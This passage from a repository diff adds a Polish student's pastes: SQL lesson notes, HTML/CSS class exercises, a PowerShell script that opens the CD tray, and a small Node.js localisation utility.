-- Błąd: "Incorrect table definition; there can be only one auto column and it must be defined as a key"
-- Dlatego najpierw trzeba usunąć AUTO INCREMENT z phpMyAdmin, a następnie spróbować jeszcze raz
-- Dodanie klucza relacji z konkretną nazwą
ALTER TABLE `rezerwacje` ADD CONSTRAINT `klasa` FOREIGN KEY (`IdPracownika`) REFERENCES `pracownicy`(`Idpracownika`);
-- Usuwanie poprzednio dodanego klucza obcego
ALTER TABLE `rezerwacje` DROP FOREIGN KEY `klasa`;

87
pastes/paste_981d65.txt Normal file
View File

@ -0,0 +1,87 @@
#
# ID: 981d65
# Nazwa: book.html
# Opis: z programowania aplikacji
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-10-30 11:41:18
#
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<title>Książka - The Square Root of 4 to a Million Places</title>
<style>
:root {
font-size: 20px;
}
.container img {
width: 20rem;
margin-top: 3rem;
transition: all 0.3s ease-out;
}
.container {
display: flex;
flex-direction: column;
width: 100%;
align-items: center;
text-align: center;
}
.container p {
width: 20rem;
}
</style>
</head>
<body>
<div class="container">
<h1>The Square Root of 4 to a Million Places</h1>
<p>
The Square Root of 4 to a Million Places is presented here in a high quality paperback edition. This popular classic
work by Norman L. De Forest is in the English language, and may not include graphics or images from the original
edition. If you enjoy the works of Norman L. De Forest then we highly recommend this publication for your book
collection.
</p>
<img src="https://m.media-amazon.com/images/I/71HO01kCO3L._SY466_.jpg" alt="Okładka" id="cover">
</div>
<script>
let constrain = 80;
let mouseOverContainer = document.getElementById("cover");
let ex1Layer = document.getElementById("cover");
function transforms(x, y, el) {
let box = el.getBoundingClientRect();
let calcX = -(y - box.y - (box.height / 2)) / constrain;
let calcY = (x - box.x - (box.width / 2)) / constrain;
return "perspective(100px) "
+ " rotateX(" + calcX + "deg) "
+ " rotateY(" + calcY + "deg) ";
};
function transformElement(el, xyEl) {
el.style.transform = transforms.apply(null, xyEl);
}
mouseOverContainer.onmousemove = function (e) {
let xy = [e.clientX, e.clientY];
let position = xy.concat([ex1Layer]);
window.requestAnimationFrame(function () {
transformElement(ex1Layer, position);
});
};
mouseOverContainer.onmouseout = function () {
window.requestAnimationFrame(function () {
transformElement(ex1Layer, [window.outerWidth / 2, window.outerHeight / 2].concat([ex1Layer]));
});
}
</script>
</body>
</html>

20
pastes/paste_9b5c17.txt Normal file
View File

@ -0,0 +1,20 @@
#
# ID: 9b5c17
# Nazwa: Otwieranie napędu CD Powershellem
# Opis: Skrypt na otwieranie tacki napędu CD w Powershellu
# Publiczny: 1
# Data utworzenia/ostatniej edycji (UTC): 2023-10-11 14:48:08
#
$MemDef =@"
[DllImport("winmm.dll", CharSet = CharSet.Ansi)]
public static extern int mciSendStringA(
string lpstrCommand,
string lpstrReturnString,
int uReturnLength,
IntPtr hwndCallback
);
"@
$winmm = Add-Type -memberDefinition $MemDef -ErrorAction 'SilentlyContinue' -passthru -name mciSendString
$winmm::mciSendStringA("set cdaudio door open", $null, 0,0)

52
pastes/paste_9d42c4.txt Normal file
View File

@ -0,0 +1,52 @@
#
# ID: 9d42c4
# Nazwa: notatki bazy danych
# Opis: dodawanie danych do tabeli (zaktualizowane, 17.11.2023/28.11.2023)
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-11-28 12:45:16
#
-- LEKCJA 9
-- Dodawanie danych do tabeli
INSERT INTO tabela(kolumna, kolumna2)
VALUES ("wartosc1", 7),
("rekord2", 10); -- Liczby zapisuje się bez cudzysłowia/apostrofów
-- Alternatywa (nie można wprowadzić kilku rekordów na raz)
INSERT tabela
SET kolumna1 = "wartosc1",
kolumna2 = 7;
-- Zastosowanie w praktyce (baza danych "domki")
INSERT INTO pracownicy(Nazwisko, imie)
VALUES ("lisek", "agata");
-- Nie trzeba uwzględniać ID pracownika bo ma AUTO_INCREMENT
INSERT pracownicy
SET Nazwisko = "lisek",
imie = 'agata';
-- LEKCJA 10
-- Aktualizacja istniejących rekordów z warunkami
-- Warunek prosty/linearny (na liczbach)
UPDATE pracownicy
SET imie = "Artur"
WHERE Idpracownika = 17; -- Liczby piszemy bez cudzysłowia
-- Zaawansowane warunki (na liczbach)
UPDATE pracownicy
SET imie = "Stefan"
WHERE Idpracownika%2=0; -- Prawie to samo polecenie ale teraz sprawi, że co drugi rekord będzie mieć imię stefan (każdy z parzystym ID)
UPDATE domki
SET CenaZaDobe = CenaZaDobe+200; -- Zwiększ wszystkie ceny domów o 200
-- Kompleksowe warunki na tekście
UPDATE pracownicy
SET imie = "Cristiano", Nazwisko = "Ronaldo"
WHERE imie LIKE "%ka"; -- Zmień dane każdej osoby której imię kończy się na "ka" (znak "%" jest wildcardem, czyli może być czymkolwiek)
UPDATE pracownicy
SET imie = "Zbigniew"
WHERE imie LIKE "___"; -- Zmien imie każdej osoby która ma dokładnie trzy dowolne znaki w imieniu (znak "_" symbolizuje JEDEN dowolny znak)

51
pastes/paste_b84c87.txt Normal file
View File

@ -0,0 +1,51 @@
#
# ID: b84c87
# Nazwa: Bazy danych - 17.11.2023
# Opis: Temat: Podstawowe instrukcje SQL dotyczące danych.
# Publiczny: 1
# Data utworzenia/ostatniej edycji (UTC): 2023-11-17 07:05:32
#
Podstawowe instrukcje SQL dotyczące danych.
1. Dodanie record'u (istniejąca tabela, zawierająca dane):
~ insert into `nazwa_tabeli`(`k1`,`k2`)
values('wartosc1','wartosc2');
~ insert `nazwa_tabeli` set
`k1`=`wartosc`,`k2`=`wartosc`
_____________________________________________________________
Przykłady:
_____________________________________________________________
insert into `pracownicy` (`Idpracownika`,`Nazwisko`,`imie`)
VALUES (null,'Lisek','Agata')
INSERT INTO
`pracownicy`(`Idpracownika`, `Nazwisko`)
VALUES
('','lisek1'),
('','lisek2');
-------------------------------------------------------------
SPOSÓB "Życiowy"
-------------------------------------------------------------
INSERT into `pracownicy`(`imie`)
VALUES
('Xawery'),
('Ksawery')
insert `pracownicy` set
`Idpracownika`=null, `Nazwisko`= 'kotek', `imie`= 'aleksander'

49
pastes/paste_c9985b.txt Normal file
View File

@ -0,0 +1,49 @@
#
# ID: c9985b
# Nazwa: Bazy Danych 15.12
# Opis:
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-12-15 07:07:07
#
SELECT `uczniowie`.`Imie`, `uczniowie`.`Nazwisko`
FROM `uczniowie`
WHERE `uczniowie`.`Imie`='Jan'
/*4. Wyświetl listę pracowników o imieniu Jan w JEDNEJ KOLUMNIE */
SELECT concat(`uczniowie`.`Imie`, `uczniowie`.`Nazwisko`)
FROM `uczniowie`
WHERE `uczniowie`.`Imie`='Jan'
/*4. Wyświetl listę pracowników o imieniu Jan W JEDNEJ KOLUMNIE, ROZDZIELNIE IMIE I NAZWISKO*/
SELECT concat(`uczniowie`.`Imie`,' ', `uczniowie`.`Nazwisko`)
FROM `uczniowie`
WHERE `uczniowie`.`Imie`='Jan'
/*4. Wyświetl listę pracowników o imieniu Jan W JEDNEJ KOLUMNIE, ROZDZIELNIE IMIE I NAZWISKO, Z ALIASEM */
SELECT concat(`uczniowie`.`Imie`,' ', `uczniowie`.`Nazwisko`) as `Dane`
FROM `uczniowie`
WHERE `uczniowie`.`Imie`='Jan'
SELECT concat(`uczniowie`.`Imie`,' ',`uczniowie`.`Nazwisko`) as `dane`
FROM `uczniowie`
WHERE `uczniowie`.`Nazwisko` like 'J%'
ORDER BY `uczniowie`.`Nazwisko` ASC,
`uczniowie`.imie DESC
SELECT `uczniowie`.`Imie`, `uczniowie`.`Nazwisko`
FROM `uczniowie`
WHERE `uczniowie`.`Nazwisko` like '%ski' OR `Nazwisko` LIKE '%ska'
ORDER BY `Nazwisko` ASC, `Imie` DESC
/* Wyświetl listę pracowników, których nazwisko NIE zaczyna się na literę a*/
SELECT `uczniowie`.`Nazwisko`, `uczniowie`.`Imie`
FROM `uczniowie`
WHERE `Nazwisko` not LIKE 'a%'
ORDER BY `nazwisko` ASC
/* 9. Wyświetl listę pracowników uporządkowaną ze względu na imię, którzy mają czteroliterowe imię. */
SELECT `uczniowie`.`Imie`, `uczniowie`.`Nazwisko`
FROM `uczniowie`
WHERE `Imie` like '____'
ORDER BY `Imie` ASC

16
pastes/paste_cc767f.txt Normal file
View File

@ -0,0 +1,16 @@
#
# ID: cc767f
# Nazwa: Notatnik - Bazy Danych (12.12.2023)
# Opis:
# Publiczny: 1
# Data utworzenia/ostatniej edycji (UTC): 2023-12-12 12:44:48
#
/* 1. Wyświetl wszystkie rekordy tabeli domki */
SELECT *
FROM `domki`;
/* 2. Wyświetl listę pracowników (nazwisko, imię) uporządkowaną alfabetycznie ze względu na nazwisko, a następnie imię. */
SELECT `uczniowie`.`Nazwisko`, `uczniowie`.`Imie`
FROM `uczniowie`
ORDER BY `Nazwisko` ASC, `Imie` ASC;

34
pastes/paste_cd114b.txt Normal file
View File

@ -0,0 +1,34 @@
#
# ID: cd114b
# Nazwa: Localisation JS utility
# Opis: Simple Node.js localisation utility. Works with .json language files.
# Publiczny: 1
# Data utworzenia/ostatniej edycji (UTC): 2023-10-16 16:05:29
#
const path = require('node:path');
const fs = require('node:fs');
module.exports = {
language: class {
constructor(lang) {
const languagesPath = path.join(__dirname, '../lang');
if (fs.readdirSync(languagesPath).includes(`${lang}.json`)) {
try {
this.allText = JSON.parse(fs.readFileSync(path.join(languagesPath, `${lang}.json`), 'utf8'));
} catch {
throw new Error(`Couldn't open language file '${lang}.json'. Please make sure it uses UTF-8 encryption.`);
}
} else {
throw new Error(`Language file '${lang}.json' doesn't exist. If you mischanged the LANGUAGE property in .env file, change it to en_GB for English (default).`);
}
}
getText(key) {
if (this.allText == null) {
throw new Error(`Language class has been improperly configured. (Unknown localisation module error)`);
} else {
return this.allText[key];
}
}
}
};

31
pastes/paste_d44481.txt Normal file
View File

@ -0,0 +1,31 @@
#
# ID: d44481
# Nazwa: kartkowka bazy danych
# Opis: moj kod z kartkowki z bazy danych 14.11.2023
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-11-14 12:41:20
#
-- Utwórz bazę danych
CREATE DATABASE malarze;
-- [tutaj wybierz bazę którą właśnie utworzyłeś]
-- Tabela 1
CREATE TABLE farby(id_farby INT PRIMARY KEY AUTO_INCREMENT, kolor ENUM("czerwony", "biały", "zielony"), pojemnosc TINYINT UNSIGNED, cena FLOAT);
-- Tabela 2
CREATE TABLE malowanie(id_pomieszczenia INT, id_sciany INT, id_farby INT, liczba_puszek INT UNSIGNED, PRIMARY KEY (id_pomieszczenia, id_sciany, id_farby));
-- Dodaj klucz obcy
ALTER TABLE malowanie ADD CONSTRAINT frgn_id_farby FOREIGN KEY (id_farby) REFERENCES farby(id_farby);
-- Zmień nazwę tabeli 2
ALTER TABLE malowanie RENAME malarz;
-- Dodaj kolumnę do tabeli 2
ALTER TABLE malarz ADD rok_waznosci DATE FIRST;
-- Zmień typ dodanej kolumny w tabeli 2
ALTER TABLE malarz MODIFY rok_waznosci YEAR;
-- Zmień nazwę kolumny w tabeli 1
ALTER TABLE farby CHANGE cena `cena produktu` FLOAT;
-- Wyświetl strukturę bazy
DESCRIBE malarz;

127
pastes/paste_d722da.txt Normal file
View File

@ -0,0 +1,127 @@
#
# ID: d722da
# Nazwa: kod na kartkówke z zgrzebą - stare
# Opis: a
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-11-20 06:31:30
#
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>stona klasy</title>
<link rel="stylesheet"
href="style.css">
<style>
ber{
font-size: 45px;
color:blue;
}
</style>
</head>
<body>
<div class="blok">
<div id="logo">
<object data="https://media.istockphoto.com/id/695729088/pl/filmy/podrzucanie-monet%C4%85-do-przerzucania-na-g%C5%82owach-lub-ogonach.mp4?s=mp4-640x640-is&k=20&c=f8MqMZo4oqrUBa8PD9PZIAbObLnfpt0mjVJ1k3ekFKg=" width="400px" height="100px"></object></div>
<div class="page">
<ul>
<li><a href="kontakt.html"> Kontakt </a></li><br>
<li><a href="pobierz.html"> Pobierz na PC </a></li><br>
<li><a href="opinie_klientow.html"> Opinie klientów </a></li><br>
</ul>
<iframe width="150px" height="600px" src="https://www.youtube.com/embed/M8zc1Sxpli0" title="Techno Hed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe>
</div>
<div class="content">
<form>
Numer karty kredytowej i te dziwne cyferli z tyłu<input type="text">
</form>
<br>
<form>
Czy piwo to twoje paliwo?<textarea>Odpowiedź</textarea>
</form>
<br>
<form>
Kliknij
<select>
<option>tutaj</option>
<option>Piwo</option>
<option>To</option>
<option>Moje</option>
<option>Paliwo</option>
</select>
</form>
</div>
<div class="page">
<embed src="https://bierhalle.pl/images/menu/bierhalle-menu-pl.pdf" width="150px" height="350px" >
<embed src="Piwo.txt" height="400px" width="150px">
</div>
<div id="stopa">
<a href="https://m.media-amazon.com/images/I/61+VIuo0LlL._AC_UF894,1000_QL80_.jpg"><img src="https://assets.albiononline.com/assets/images/header/logo.png?cb=2.115.1"
width="780px"
height="50px"></a>
<div>
</div>
</body>
</html>
--------------------------------
body{
background-image: url(https://i.redd.it/e0fkw8wmv6b61.jpg); background-size: cover; background-position: center;
}
#logo{
width: 400px;
height:100px;
background-color:azure;
font-size: 45px;
text-align: center;
font-family: Impact, Haettenschweiler, 'Arial Narrow Bold', sans-serif;
color: rgb(70, 70, 70) ;
margin: 5px;
margin-left: auto;
margin-right: auto;
}
.page{
width: 150px;
height: 750px;
background-color:azure;
text-align: center;
float: left;
margin: 5px;
margin-left: 5px;
margin-right: 5px;
}
.content{
width: 480px;
height: 750px;
background-image:url("https://media.tenor.com/R5IECfIf34YAAAAd/fish-spinning.gif");
text-align: center;
float: left;
margin: 5px;
margin-left: auto;
margin-right: auto;
font-size: 20px;
color: gray
}
#stopa{
width: 790px;
height:60px;
background-color:azure;
text-align: center;
color: rgb(70, 70, 70) ;
clear: both;
margin: 5px;
margin-left: auto;
margin-right: auto;
}
.blok{
width: 800px;
margin-left: auto;
margin-right: auto;
}

9
pastes/paste_db5656.txt Normal file
View File

@ -0,0 +1,9 @@
#
# ID: db5656
# Nazwa: arch configs
# Opis:
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-12-05 18:55:10
#
include ~/.config/nano/syntax-highlighting/*

47
pastes/paste_e49f22.txt Normal file
View File

@ -0,0 +1,47 @@
#
# ID: e49f22
# Nazwa: Notatki bazy danych 20.10.2023
# Opis: Notatki bazy danych (piątek rano lekcja 5)
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-10-20 06:04:39
#
-- Tworzenie bazy danych
CREATE DATABASE `mr_2017_MG`;
-- Tworzenie tabel
CREATE TABLE
programy (
id_programu INT PRIMARY KEY UNSIGNED AUTO_INCREMENT,
program VARCHAR(100),
rodzaj VARCHAR(50),
cena INT UNSIGNED
);
CREATE TABLE
pakiety (
id_pakietu INT PRIMARY KEY UNSIGNED AUTO_INCREMENT,
nazwa VARCHAR(100),
firma VARCHAR(100)
);
CREATE TABLE
zestawy (id_pakietu INT UNSIGNED, id_programu INT UNSIGNED);
-- Dodawanie kluczy obcych
ALTER TABLE `zestawy` ADD FOREIGN KEY (`id_programu`) REFERENCES `programy` (`id_programu`);
ALTER TABLE `zestawy` ADD FOREIGN KEY (`id_pakietu`) REFERENCES `pakiety` (`id_pakietu`);
-- Wczytywanie danych z plików
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 5\\programy.txt' INTO TABLE `programy` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 5\\pakiety.txt' INTO TABLE `pakiety` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 5\\zestawy.txt' INTO TABLE `zestawy` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;

125
pastes/paste_ebfc18.txt Normal file
View File

@ -0,0 +1,125 @@
#
# ID: ebfc18
# Nazwa: Kod HTML flexbox
# Opis: Moj kod z lekcji 12.10.2023
# Publiczny: 1
# Data utworzenia/ostatniej edycji (UTC): 2023-10-15 13:51:00
#
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Zadanie</title>
<style>
:root {
font-size: 20px;
--bg-color: black;
--box-color: white;
--text-color: black;
}
body {
background: var(--bg-color);
}
.container {
width: 100%;
display: flex;
height: 100%;
position: absolute;
background: var(--bg-color);
gap: 5%;
top: 0;
left: 0;
}
.container .pos {
flex: 1;
}
.container .pos.mid {
flex: 2.75;
}
.left {
display: flex;
flex-direction: column;
gap: 2rem;
}
.left .box {
width: 100%;
background: var(--box-color);
aspect-ratio: 1;
}
.mid {
display: flex;
justify-content: space-around;
align-items: center;
flex-wrap: wrap;
gap: 5%;
padding: 0.5%;
box-sizing: border-box;
}
.mid .box {
width: 31%;
background: var(--box-color);
aspect-ratio: 1;
border-radius: 100%;
}
.right {
display: flex;
flex-direction: column;
gap: 2rem;
}
.right .box {
width: 100%;
background: var(--box-color);
aspect-ratio: 1;
}
.mid .widebox {
flex: 0 0 100%;
background: var(--box-color);
height: 18%;
width: 100%;
margin-top: auto;
}
.right .widebox {
width: 100%;
background: var(--box-color);
flex: auto 2;
}
.box, .widebox {
display: flex;
justify-content: center;
align-items: center;
color: var(--text-color);
padding: 1rem;
box-sizing: border-box;
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<div class="pos left">
<div class="box"></div>
<div class="box"></div>
</div>
<div class="pos mid">
<div class="box"></div>
<div class="box"></div>
<div class="box"></div>
<div class="box"></div>
<div class="widebox"></div>
</div>
<div class="pos right">
<div class="box"></div>
<div class="widebox"></div>
</div>
</div>
</body>
</html>

54
pastes/paste_f14909.txt Normal file
View File

@ -0,0 +1,54 @@
#
# ID: f14909
# Nazwa: kod na kartkówke ze zgrzebą - svg
# Opis: a
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-11-20 06:32:29
#
<!DOCTYPE HTML PUBLIC "-//W3C//DTD
HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="pl">
<head>
<meta charset="utf-8" />
<link rel="stylesheet" href="main.css">
<title>Strona w HTML5</title>
</head>
<body>
<div class="klasa">
<form>
<input name="pole" placeholder="Szukaj!">
<input name="ocana" type="number" min="2" max="5" step="0.5" value="2">
<input name="poprawka" type="range" min="2" max="5" step="0.5" value="2">
<input name="termin" type="date" required>
<input name="adres" type="email" autofocus>
<input name="kolor" type="color">
<input type="submit" value="Szukaj">
<script type="text/javascript">
function Draw()
{
var canvas = document.getElementById("c");
var c = canvas.getContext("2d");
c.fillRect(0, 0, 400, 400);
}
window.onload = Draw;
</script>
</form>
</div>
<canvas id="c" width="400" height="400"></canvas>
</body>
</html>
-------------------------------
.klasa
{
font-size: 50px;
position: absolute;
top: 10px;
right: 10px;
padding: 50px;
border: 1px solid #666;
text-shadow: 5px 2px 5px #666;
box-shadow: 10px 10px 5px #888;
}
#c { border-radius: 20px 250px; }